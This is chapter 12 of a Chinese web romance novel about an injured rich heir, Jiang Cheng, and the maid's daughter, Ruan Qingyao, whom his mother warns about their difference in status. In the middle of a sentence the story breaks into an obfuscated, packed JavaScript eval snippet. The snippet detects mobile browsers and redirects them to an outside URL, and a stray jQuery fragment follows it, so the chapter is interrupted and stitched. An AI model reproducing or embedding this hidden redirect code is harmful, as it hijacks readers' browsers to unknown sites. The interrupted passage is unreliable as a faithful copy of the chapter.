12. 第 12 章

作品:《裙下称臣[大少爷x保姆女儿]

    阮清瑶提着保温盒,按照妈妈说的病房号找过去。


    推开门,江骋果然还在睡,左臂打着厚厚的石膏,被吊在胸前,脸上还有几处明显的淤青。他闭着眼,眉头微微蹙着,少了平日里的张扬跋扈,倒显出几分难得的脆弱和……可怜。


    阮清瑶原本因他惹是生非连累母亲早起熬汤的恼意,在看到这幅景象时,不知不觉消散了些。她走到床边,轻声开口:“喂,醒醒。”


    江骋睡得并不沉,迷迷糊糊地睁开眼。逆着晨光,他看到阮清瑶清秀姣好的脸庞出现在眼前,还以为自己没睡醒,在做梦。他眨了眨眼,愣了好几秒才反应过来这不是梦——阮清瑶真的来了!


    下一秒,他猛地意识到自己现在头发乱糟糟,脸也没洗,肯定狼狈不堪,几乎是下意识地就想转过头避开她的视线。


    结果动作太猛,一下子牵扯到了受伤的胳膊,一阵剧痛袭来,他忍不住“啊呀”痛呼出声,额头瞬间冒出一层冷汗。


    阮清瑶被他这莽撞的动作吓了一跳,赶紧上前一步,眉头皱得更紧了:“让你别乱动!伤成这样还不安分!”她看着他疼得龇牙咧嘴的样子,忍不住追问,“你昨晚是不是又跟人打架了?”


    江骋缓过那阵剧痛,听到她的质问,立刻开始装傻充愣,眼神飘忽,还故意用手掏了掏耳朵:“啊?什么?你说什么?我耳朵好像也出了点毛病,听不太清……”


    这副无赖样子让阮清瑶气结,也懒得跟他计较了。她把保温盒放在床头柜上,没好气地说:“我妈熬的骨头汤,还有早饭,你趁热吃吧。我得去上学了。”


    看她转身真的要走了,江骋心里一急,也顾不上胳膊疼了,下意识伸出没受伤的右手,一把拉住了她的手腕。


    “等等……”他刚开口,病房门却“咔哒”一声被从外面推开了。


    门口站着风尘仆仆、脸色铁青的江天屹,和他身边一脸担忧的俞宁。两人的目光齐刷刷地落在病房内,尤其是江骋正紧紧抓着阮清瑶手腕的那只手上。


    空气瞬间凝固。


    阮清瑶像被烫到一般,猛地挣开了江骋的手,下意识地后退了半步,与病床拉开距离。


    俞宁的目光在阮清瑶身上停留片刻,带着一丝不易察觉的审视,语气还算温和:“清瑶,怎么是你过来送?你妈妈呢?”


    阮清瑶垂着眼睫,尽量让自己的声音听起来平静自然:“妈妈手头还有点活要忙,我上学顺路,就帮忙送一下。”


    “这样啊,”俞宁点了点头,脸上重新挂上得体的微笑,“那你快去吧,别耽误了上学。”


    “好的,夫人。”阮清瑶低声应道,自始至终没再看江骋一眼,快步离开了病房,并轻轻带上了门。


    门一关上,俞宁立刻扑到床边,脸上写满了心疼和焦急,“阿骋!快让妈妈看看!除了胳膊还有没有别的地方不舒服?医生怎么说?骨头接得好不好?多久能恢复?会不会留下什么后遗症啊?”她一边问,一边小心翼翼地想碰又不敢碰他打着石膏的手臂。


    江骋被这一连串的问题砸得头疼,无奈地叹了口气:“妈,你这么多问题,让我先回答哪一个啊?”


    一直沉着脸站在门口的江天屹这时重重地冷哼一声,声音里带着压抑的怒火:“你好意思说!惹出这么大的祸,都闹到派出所去了!江家的脸都让你丢尽了!”


    江骋自知理亏,但又忍不住辩解,声音弱了几分:“爸,我都伤成这样了,您就不能少说两句……”


    “伤?”江天屹像是听到了天大的笑话,几步走到床前,厉声道,“你不过就是胳膊折了!你知道赵敬辉被你打成什么样吗?鼻梁骨骨折!轻微脑震荡!江骋,你让我以后怎么跟赵家做生意?嗯?”


    一听赵老四的名字,江骋的火气也上来了,梗着脖子反驳:“那是他活该!谁让他先挑衅我的!在场的人都看见了!”


    “他挑衅你,你就要下这么重的手?”江天屹额角青筋跳动,“归根结底,还不是因为你又偷偷跑去南山赛车惹出来的祸端!我说过多少次不准你再碰车!你非但不听,还敢去酒吧那种地方鬼混!江骋,你现在真是越来越无法无天了!”


    江骋心里咯噔一下,完蛋,老头子怎么连他去南山赛车的事都一清二楚了?


    江天屹看着他这副样子,更是气不打一处来,“我看你就是欠教训!这次我非得……”


    “好了好了!”俞宁见状,赶紧起身挡在父子俩中间,一边安抚地拍着江天屹的胸口,一边打圆场,“天屹,你消消气!要教训儿子也得等他伤好了再说啊!你公司不是还有个重要的会吗?时间快到了,你快去吧,这里有我看着就好。”


    江天屹胸口剧烈起伏,狠狠瞪了江骋一眼,撂下话:“你给我好好在医院待着!等我忙完再跟你算账!”说完,才怒气冲冲地转身离开了病房。


    等江天屹的脚步声消失在走廊尽头,病房里紧绷的气氛才稍稍缓和。俞宁轻轻叹了口气,走到床头柜边,打开阮清瑶带来的保温盒,浓郁的骨头汤香气弥漫开来。她盛了一碗,小心地递到江骋没受伤的右手边。


    “来,趁热喝,这是我特意让人熬的骨头汤,以形补形,对你恢复有好处。”她的语气温和,但眼神却带着探究,状似不经意地开口,“阿骋,你跟那佣人的女儿,是怎么回事?”


    江骋正低头准备喝汤,闻言动作一顿,眉头立刻皱了起来,语气带着明显的不悦:“妈,什么‘佣人的女儿’,难听死了,人家有名字。”


    俞宁耐着性子,从善如流地改口:“好,那你跟阮清瑶,现在是什么关系?”


    “能有什么关系?”江骋舀了一勺汤,吹了吹,回答得漫不经心,“同学关系呗,还能有什么关系。”


    “同学关系?”俞宁的音调微微扬起,带着明显的不信,“同学关系你刚才那么紧地拉着人家女孩子的手腕?当我跟你爸没看见?”


    江骋被汤呛了一下,咳嗽两声,耳根有点发热,嘴上却强辩道:“什么拉手!我……我那是看她要走,想让她帮忙盛碗汤而已!”


    俞宁看着儿子明显心虚却强装镇定的样子,心里已经


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16888875|192141||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有了几分猜测。她脸色稍稍严肃了一些,语气带着告诫:“阿骋,妈妈不是要干涉你交朋友。但我提醒你,注意保持距离。她是佣人的女儿,身份摆在那里,你们走得太近,传出去像什么样子?对你,对她,影响都不好。”


    “妈!”江骋猛地抬起头,脸上是毫不掩饰的反感和抵触,“这都什么年代了?她妈是凭劳动赚钱,又不是卖到咱家的仆人!您这套阶级观念早该扔进历史垃圾堆了!”


    “好了,汤要凉了,快喝吧。”俞宁打断了他,显然不想再继续这个话题。


    江骋看着母亲不容置疑的表情,知道再争辩下去也没有结果。他憋着一肚子火,低下头,闷声不响地开始喝汤。


    ……


    晚自习结束,阮清瑶拖着疲惫的步伐回到江家别墅。客厅里只亮着几盏壁灯,光线昏黄。她正准备轻手轻脚地回房间,一个温和却带着疏离感的声音从沙发方向传来:


    “清瑶,回来了。”


    阮清瑶脚步一顿,心里有些意外。俞宁很少会在这个时间点出现在客厅,更少会主动跟她说话。她转过身,看见俞宁正端坐在沙发上,手里端着一杯花茶,姿态优雅,灯光在她精致的妆容上投下柔和的阴影。


    “夫人。”阮清瑶礼貌地颔首,站在原地。


    俞宁放下茶杯,脸上挂着无可挑剔的、属于女主人的亲切笑容,但那双审视的眼睛里,却没有任何温度。


    “学习很辛苦吧?要注意休息。”她语气温和,仿佛只是寻常的关心,但接下来的话,却让空气瞬间微妙起来,“我叫住你,也没别的事。就是觉得,你是个懂事的好孩子,有些话,提前说说清楚比较好。”


    她微微前倾身体,声音依旧轻柔,却带着不容置疑的份量:“阿骋呢,年纪还小,有时候做事冲动,不考虑后果。你们现在是同学,平时难免有接触,这我很理解。但是……”她刻意停顿了一下,目光在阮清瑶洗得发白的校服上短暂停留,随即重新迎上她的眼睛,“身份上的差别,你心里应该清楚。走得太近,难免会惹来一些不必要的闲话。对我们江家,对你和你妈妈,影响都不好。你明白我的意思吗?”


    阮清瑶静静地听着,脸上没有任何被羞辱的愤怒或怯懦。她挺直了单薄的脊背,目光平静地回视着俞宁,“谢谢夫人提醒。我一直很清楚自己的位置,也从未有过任何非分之想。我会注意保持距离,请您放心。”


    她的回答得体、冷静,甚至带着一种超越年龄的沉稳,反而让俞宁精心准备的“提醒”像是一拳打在了棉花上。


    俞宁眼底闪过一丝不易察觉的讶异,随即恢复了常态,她轻轻挥了挥手,仿佛只是处理了一件微不足道的小事:“你知道就好。时间不早了,去休息吧。”


    “夫人晚安。”阮清瑶再次微微颔首,转身,走向通往佣人房的走廊,自始至终,没有流露出丝毫情绪。


    看着她消失在走廊尽头的背影,俞宁端起已经微凉的花茶,轻轻抿了一口,眉头几不可察地蹙起。这个女孩,似乎并不像她想象的那么简单。